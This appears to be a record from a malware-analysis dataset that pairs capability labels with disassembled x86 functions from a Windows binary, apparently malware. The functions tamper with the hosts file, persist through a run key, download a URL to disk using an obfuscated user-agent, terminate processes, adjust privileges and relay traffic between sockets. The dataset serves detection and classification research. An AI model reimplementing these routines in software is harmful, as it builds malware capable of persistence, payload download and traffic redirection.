joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002d200
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes

Disassembly:
sub esp, 0x110
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x1002d262
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
lea ecx, [esp + 0x2c]
push SysReAllocString
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1002d323
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edx, [ebp + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 1]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1002d300
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov byte [esi], 0x92
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x10]
push eax
push esi
call fcn.10012e90
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
Function at 0x1002d330
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x10c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x1002d38e
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002d40b
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 8

Function at 0x1002d420
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x1002d465
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1002d439
mov edi, dword [esp + 0x10]
pop ebp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1002d070
mov ecx, edi
call fcn.10033f40
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1002dc70
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10012e90
add esp, 0x2c
ret

Function at 0x1002de40
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002ded6
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1002deca
mov edi, 0x10125630
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x10125630
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x1002eb20
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 8], 0x50
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.Favorites
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1013386c], eax
mov byte [eax], 0x90
lea eax, [esp + 0x10]
mov dword [0x1012557c], 1
push eax
call fcn.1002e840
mov ecx, dword [0x1012557c]
mov edx, dword [0x1013386c]
add esp, 4
push 0x42
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [0x1013386c], eax
pop edi
add esp, 0x110
ret
Function at 0x1002f9c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1002f9de
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1002f9de
xor eax, eax
ret
mov eax, 1
ret

Function at 0x1002faf0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEventA
push str.KERNEL32.dll
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
push 0
push 0
push 0
call eax
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push 0x1002f9f0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.WaitForSingleObject
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push edx
call eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x1002fb90
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1002fc06
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002fbff
mov edi, dword [esp + 0x138]
mov ebx, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x30]
push edi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x1002fc12
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002fbe1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
add esp, 0x128
ret
Function at 0x1002fe20
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
xor ebx, ebx
mov dl, 0x69
mov al, 0x6c
mov cl, 0x61
push str.InternetOpenA
push str.wininet.dll
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x7a
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x2f
mov byte [esp + 0x20], 0x34
mov byte [esp + 0x21], 0x2e
mov byte [esp + 0x22], 0x30
mov byte [esp + 0x23], 0x20
mov byte [esp + 0x24], 0x28
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x62
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], bl
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push ebx
push ebx
push ebx
lea ecx, [esp + 0x1c]
push ebx
push ecx
call eax
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x3c], edi
jne 0x1002feec
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.InternetCloseHandle
push str.wininet.dll
call esi
push eax
call ebp
push str.InternetOpenUrlA
push str.wininet.dll
mov dword [esp + 0x3c], eax
call esi
push eax
call ebp
mov edx, dword [esp + 0x444]
push ebx
push SysReAllocString
push ebx
push ebx
push edx
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x1002ff39
push edi
call dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.CreateFileA
push str.KERNEL32.dll
call esi
push eax
call ebp
mov ecx, dword [esp + 0x448]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call eax
cmp eax, 0xffffffff
mov dword [esp + 0x30], eax
je 0x1002ffcb
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push str.WININET.dll
call esi
push eax
call ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x40]
push edx
push 0x400
push ecx
push ebx
call eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x38]
push 0
push edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x48]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x1002ff6a
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x430
ret
Function at 0x1002fff0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10030042
push esi
push 0x100
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x100301d0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1003021a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1003021a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x10030237
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x10030237
call fcn.10030050
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1002fff0
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x10030250
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1002fce0
add esp, 4
test eax, eax
jne 0x10030273
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x10030297
push esi
call fcn.1002fc30
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x10030370
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x100303de
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10030435
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x1003044d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10030458
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x10030690
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x100306d5
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x100306d5
sub esi, eax
add edi, eax
test esi, esi
jg 0x100306bb
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100306e0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x2104
call fcn.10030bb0
mov eax, dword [esp + 0x2108]
push ebx
push ebp
push esi
mov ebp, dword [eax]
mov ebx, dword [eax + 4]
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x1013587c]
test al, al
je 0x10030802
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], ebx
je 0x10030747
inc eax
add ecx, 4
cmp eax, 1
jb 0x1003073a
cmp eax, 1
jne 0x10030758
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x10030802
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100307b4
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jle 0x10030802
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.10030690
add esp, 0xc
test eax, eax
je 0x10030802
cmp eax, esi
jne 0x10030802
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100307f5
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x10030802
lea eax, [esp + 0x114]
push esi
push eax
push ebp
call fcn.10030690
add esp, 0xc
test eax, eax
je 0x10030802
cmp eax, esi
jne 0x10030802
mov al, byte [0x1013587c]
test al, al
jne 0x10030728
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2104
ret 4

Function at 0x10030820
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1003083e
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1003087e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x10030950
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1038
call fcn.10030bb0
push ebx
push ebp
push esi
push edi
mov ecx, 0x40c
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x18], 0x100bc9c0
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1054]
lea ecx, [esp + 0x1c]
push eax
push 0x100ff678
push 0x20
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [esp + 0x1060]
mov ecx, dword [esp + 0x105c]
mov dx, word [esp + 0x1068]
push eax
push ecx
mov word [esp + 0x54], dx
call fcn.10030890
mov edi, eax
add esp, 0x18
test edi, edi
jbe 0x10030a70
mov al, byte [0x1013587c]
mov dword [esp + 0x40], edi
test al, al
je 0x10030a70
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [esp + 0x16]
push 2
push edx
push edi
call ebx
test eax, eax
jle 0x10030a70
mov edx, dword [0x10134878]
mov eax, dword [esp + 0x44]
inc edx
cmp eax, 0x800
mov dword [0x10134878], edx
jge 0x10030a1e
mov cx, word [esp + 0x12]
inc eax
mov dword [esp + 0x44], eax
mov word [esp + eax*2 + 0x48], cx
mov edx, dword [0x10135880]
lea eax, [esp + 0x18]
inc edx
mov dword [0x10135880], edx
lea edx, [esp + 0x14]
push edx
push 0
push eax
push 0x100308b0
push 0
push 0
call esi
mov ecx, dword [0x10135880]
test eax, eax
mov dword [ecx*4 + 0x1013487c], eax
je 0x10030a58
push eax
call ebp
jmp 0x10030a63
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x1013587c]
test al, al
jne 0x100309e7
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1038
ret 0x10

Function at 0x10030a90
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x80
mov byte [0x1013587c], 0
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10134874]
test eax, eax
je 0x10030af3
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x10134874]
lea ecx, [esp + 8]
push eax
push str.nsocket_di:_d
push ecx
call esi
mov edx, dword [0x10134874]
add esp, 0xc
mov eax, dword [edx*4 + 0x10133874]
cmp eax, 0xffffffff
je 0x10030ae6
push eax
call edi
mov eax, dword [0x10134874]
dec eax
mov dword [0x10134874], eax
jne 0x10030abc
mov eax, dword [0x10135880]
test eax, eax
je 0x10030b32
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10135880]
mov eax, dword [eax*4 + 0x1013487c]
cmp eax, 0xffffffff
je 0x10030b25
push 0
push eax
call esi
push 0x1013487c
call edi
mov eax, dword [0x10135880]
dec eax
mov dword [0x10135880], eax
jne 0x10030b08
pop edi
mov dword [0x10135880], 0
mov dword [0x10134874], 0
mov byte [0x1013587c], 1
pop esi
add esp, 0x80
ret
Function at 0x10031e90
Capabilities:
Query environment variable

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov dword [edi + 4], ebx
call fcn.10033f30
push 0x54
push edi
mov dword [esp + 0x18], eax
call fcn.10033ec0
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x10031ed4
push edi
call fcn.10033f40
mov eax, dword [edi]
push edi
mov dword [eax + 0x14], 0x36
mov ecx, dword [edi]
mov dword [ecx + 0x18], ebx
mov edx, dword [edi]
call dword [edx]
add esp, 8
mov dword [esi], fcn.10031fd0
mov dword [esi + 4], fcn.10032150
mov dword [esi + 8], fcn.10032240
mov dword [esi + 0xc], fcn.10032310
mov dword [esi + 0x10], 0x100323c0
mov dword [esi + 0x14], 0x10032430
mov dword [esi + 0x18], 0x100324a0
mov dword [esi + 0x1c], 0x100326a0
mov dword [esi + 0x20], 0x10032890
mov dword [esi + 0x24], fcn.10032a80
mov dword [esi + 0x28], 0x10032b80
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 0xc]
mov ecx, 2
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x40]
mov dword [eax - 8], ebx
mov dword [eax], ebx
sub eax, 4
dec ecx
jne 0x10031f36
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call sub.MSVCRT.dll_getenv
add esp, 4
cmp eax, ebx
je 0x10031fc6
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
push edx
push str._ld_c
push eax
mov byte [esp + 0x24], 0x78
call sub.MSVCRT.dll_sscanf
add esp, 0x10
test eax, eax
jle 0x10031fc6
mov al, byte [esp + 0x14]
cmp al, 0x6d
je 0x10031f8f
cmp al, 0x4d
jne 0x10031fb3
mov eax, dword [esp + 0xc]
pop edi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop esi
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
pop ecx
ret